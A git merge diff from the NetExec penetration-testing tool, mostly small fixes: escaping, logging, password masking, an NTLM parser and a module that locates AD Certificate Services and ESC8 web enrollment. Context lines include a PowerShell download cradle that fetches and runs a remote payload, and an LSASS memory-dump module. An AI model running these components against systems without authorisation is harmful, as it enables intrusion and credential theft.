Merge branch 'main' into main
commit
cf8b2c05c0
|
@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
|
|||
|
||||
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
|
||||
|
||||
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
|
||||
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
|
||||
|
||||
|
@ -37,6 +37,12 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
|
|||
# Installation
|
||||
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
|
||||
|
||||
## Linux
|
||||
```
|
||||
sudo apt install pipx git
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
```
|
||||
# Development
|
||||
Development guidelines and recommendations in development
|
||||
|
||||
|
|
|
@ -17,11 +17,11 @@ def gen_cli_args():
|
|||
VERSION = importlib.metadata.version("netexec")
|
||||
CODENAME = "nxc4u"
|
||||
|
||||
parser = argparse.ArgumentParser(description=f"""
|
||||
parser = argparse.ArgumentParser(description=rf"""
|
||||
. .
|
||||
.| |. _ _ _ _____
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
|
|
|
@ -87,8 +87,8 @@ class connection:
|
|||
self.port = self.args.port
|
||||
self.conn = None
|
||||
self.admin_privs = False
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.password = None
|
||||
self.username = None
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
|
@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
|
|||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
|
@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
|
|||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\Remote Management Users",
|
||||
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
}
|
||||
|
||||
|
||||
|
@ -516,6 +516,8 @@ class NXCModule:
|
|||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for parsed_ace in parsed_dacl:
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
try:
|
||||
|
@ -528,7 +530,7 @@ class NXCModule:
|
|||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
|
@ -536,7 +538,7 @@ class NXCModule:
|
|||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
|
@ -544,13 +546,13 @@ class NXCModule:
|
|||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
|
@ -558,7 +560,7 @@ class NXCModule:
|
|||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
|
|
|
@ -0,0 +1,106 @@
|
|||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.http import AUTH_NTLM
|
||||
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR
|
||||
from impacket import uuid
|
||||
import requests
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
-------
|
||||
Module by @0xjbb, original code from Impacket rpcdump.py
|
||||
"""
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
593: {"bindstr": r"ncacn_http:%s"}
|
||||
}
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__domain = connection.domain
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__port = 135.
|
||||
self.__stringbinding = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
|
||||
if self.__port in [139, 445]:
|
||||
# Setting credentials for SMB
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.__port)
|
||||
elif self.__port in [443]:
|
||||
# Setting credentials only for RPC Proxy, but not for the MSRPC level
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
else:
|
||||
pass
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
|
||||
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
|
||||
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
context.log.debug("EXEs %s" % exename)
|
||||
if exename == "certsrv.exe":
|
||||
context.log.highlight("Active Directory Certificate Services Found.")
|
||||
url = f"http://{connection.host}/certsrv/certfnsh.asp"
|
||||
context.log.highlight(url)
|
||||
try:
|
||||
response = requests.get(url, timeout=5)
|
||||
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
|
||||
context.log.highlight("Web enrollment found on HTTP (ESC8).")
|
||||
except requests.RequestException as e:
|
||||
context.log.debug(e)
|
||||
return
|
||||
|
||||
def __fetchList(self, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
return resp
|
|
@ -31,7 +31,7 @@ class NXCModule:
|
|||
self.MINLENGTH = module_options["MINLENGTH"]
|
||||
if "PASSWORDPOLICY" in module_options:
|
||||
self.PASSWORDPOLICY = True
|
||||
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
|
|
|
@ -37,7 +37,7 @@ class NXCModule:
|
|||
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.ca:
|
||||
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
return False
|
||||
|
||||
host = connection.host
|
||||
|
|
|
@ -56,7 +56,7 @@ class NXCModule:
|
|||
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
|
||||
command = """$url="{}://{}:{}/{}"
|
||||
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
|
||||
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
|
||||
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
|
||||
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessInfo.FileName=$PowershellExe
|
||||
|
|
|
@ -248,7 +248,7 @@ class NXCModule:
|
|||
]
|
||||
|
||||
# Create the IPC string
|
||||
ipc = f"\\\\{ip}\IPC$\x00"
|
||||
ipc = f"\\\\{ip}\\IPC$\x00"
|
||||
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
|
||||
|
||||
# Initialize the tree connect andx request
|
||||
|
|
|
@ -98,7 +98,7 @@ class NXCModule:
|
|||
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
||||
try:
|
||||
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
|
||||
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
|
||||
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
|
||||
|
@ -118,13 +118,13 @@ class NXCModule:
|
|||
self.context.log.display(f"Getting LSASS PID via command {command}")
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"tasklist Command Result: {p}")
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail("Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
pid = p.split(",")[1][1:-1]
|
||||
self.context.log.debug(f"pid: {pid}")
|
||||
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
|
||||
|
|
|
@ -14,8 +14,8 @@ class NXCModule:
|
|||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.display("Executing command")
|
||||
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.debug(f"Executing command: {command}")
|
||||
p = connection.execute(command, True)
|
||||
if "The system was unable to find the specified registry key or value" in p:
|
||||
context.log.debug("Unable to find RunAsPPL Registry Key")
|
||||
|
|
|
@ -194,7 +194,7 @@ class HostChecker:
|
|||
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
|
||||
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
|
||||
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
]
|
||||
|
||||
# Add check to conf_checks table if missing
|
||||
|
|
|
@ -399,7 +399,7 @@ class ldap(connection):
|
|||
return False
|
||||
except (KeyError, KerberosException, OSError) as e:
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {e!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}",
|
||||
color="red",
|
||||
)
|
||||
return False
|
||||
|
@ -442,21 +442,21 @@ class ldap(connection):
|
|||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}",
|
||||
color="magenta" if error in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
except Exception as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error_code!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}",
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
@ -526,18 +526,18 @@ class ldap(connection):
|
|||
except Exception as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
|
@ -619,18 +619,18 @@ class ldap(connection):
|
|||
except ldap_impacket.LDAPSessionError as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self):
|
||||
|
|
|
@ -1,15 +1,19 @@
|
|||
import os
|
||||
import random
|
||||
import socket
|
||||
import contextlib
|
||||
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.connection import requires_admin
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.ntlm_parser import parse_challenge
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from impacket import tds
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.tds import (
|
||||
SQLErrorException,
|
||||
TDS_LOGINACK_TOKEN,
|
||||
|
@ -22,31 +26,20 @@ from impacket.tds import (
|
|||
TDS_ENVCHANGE_CHARSET,
|
||||
TDS_ENVCHANGE_PACKETSIZE,
|
||||
)
|
||||
import contextlib
|
||||
|
||||
|
||||
class mssql(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.mssql_instances = None
|
||||
self.mssql_instances = []
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.hash = None
|
||||
self.os_arch = None
|
||||
self.nthash = ""
|
||||
self.is_mssql = False
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_flow(self):
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
self.enum_host_info()
|
||||
self.print_host_info()
|
||||
if self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = NXCAdapter(
|
||||
extra={
|
||||
|
@ -57,83 +50,98 @@ class mssql(connection):
|
|||
}
|
||||
)
|
||||
|
||||
def enum_host_info(self):
|
||||
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
|
||||
try: # noqa: SIM105
|
||||
# Probably a better way of doing this, grab our IP from the socket
|
||||
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
try:
|
||||
smb_conn = SMBConnection(self.host, self.host, None)
|
||||
try:
|
||||
smb_conn.login("", "")
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.getErrorString():
|
||||
pass
|
||||
|
||||
self.domain = smb_conn.getServerDNSDomainName()
|
||||
self.hostname = smb_conn.getServerName()
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
smb_conn.logoff()
|
||||
|
